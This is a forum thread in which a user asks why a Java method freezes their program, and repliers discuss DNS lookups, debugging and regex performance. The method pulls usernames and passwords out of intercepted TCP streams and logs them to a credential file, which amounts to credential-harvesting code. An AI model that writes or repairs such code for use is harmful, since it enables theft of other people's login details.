Can someone tell me why this Java method freezes my program?

I have a custom program and when this method is invoked it freezes it.  Connectiondetails is a custom object that hold information about a socket connection, the stringbuffer is a tcp datastream.  the method tries to match a couple of regex's for username and password and then log them to file.
private void filterLog(ConnectionDetails connectionDetails, StringBuffer stringBuffer)
            throws IOException
    {
        final String host = connectionDetails.getRemoteHost();
        if(stringBuffer != null && host != "localhost"){
            String data = stringBuffer.toString();   //convert stringBuffer to String

            String password = null;
            Pattern p1 = Pattern.compile(".*&pass\\w*?=([^&]*)&.*", Pattern.CASE_INSENSITIVE);
            Matcher m1 = p1.matcher(data);   // pass in the text read from the socket
            if (m1.matches()) {              // tests if the pattern matches at all
                password = m1.group(1);      // if so, get group 1 from the match - this the text in between the parenthesis in the regex.
            }

            String login = null;
            Pattern p2 = Pattern.compile(".*&(login|email|username)=([^&]*)&.*", Pattern.CASE_INSENSITIVE);
            Matcher m2 = p2.matcher(data);
            if (m2.matches()) {
                login = m2.group(2);
            }

            if (login != null && password != null){
                FileWriter writer = new FileWriter(credentialList, true);  //create FileWriter
                writer.write("Host:" + host + "/n");
                writer.write("Login: " + login + "/n");
                writer.write("Password: " + password + "/n/n");
                writer.close();
            }
        }
    }

Open in new window

LVL 7
southpau1Asked:
Who is Participating?
 
southpau1Connect With a Mentor Author Commented:
We figured it out.  There were some problems with the declaration of the file that was used in the FileWriter object.  Thanks all for the help.
0
 
objectsCommented:
>         final String host = connectionDetails.getRemoteHost();


i''m guessing its blocked in there, perhaps waiting on I/O for example a response from server
0
 
CEHJCommented:
You need to put debug lines in it to find out where it's blocking. Guesswork is pointless
0
Cloud Class® Course: Microsoft Exchange Server

The MCTS: Microsoft Exchange Server 2010 certification validates your skills in supporting the maintenance and administration of the Exchange servers in an enterprise environment. Learn everything you need to know with this course.

 
southpau1Author Commented:
everything else looks good though, with the regex and if statements and filewriter?
0
 
CEHJCommented:
Yes
0
 
CEHJCommented:
If it IS that line, you might need to ensure that it's not trying a DNS resolution (could be expensive or impossible) if all you need is the IP address
0
 
objectsCommented:
> everything else looks good though, with the regex and if statements and filewriter?

none of that would freeze it up
0
 
CEHJCommented:
Try setting enableLookups to false in the <Connector> element of server.xml
0
 
gordon_vt02Commented:
This won't help the blocking, but you might consider making the Patterns static final constants if they're unchanging and that method is called often.  You'll save yourself the overhead of recompiling every time the method is called, which will give you a little better performance.
0
 
southpau1Author Commented:
I did not use a solution provided by the EE community.  My partner and I figure out the solution on our own.
0
Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

All Courses

From novice to tech pro — start learning today.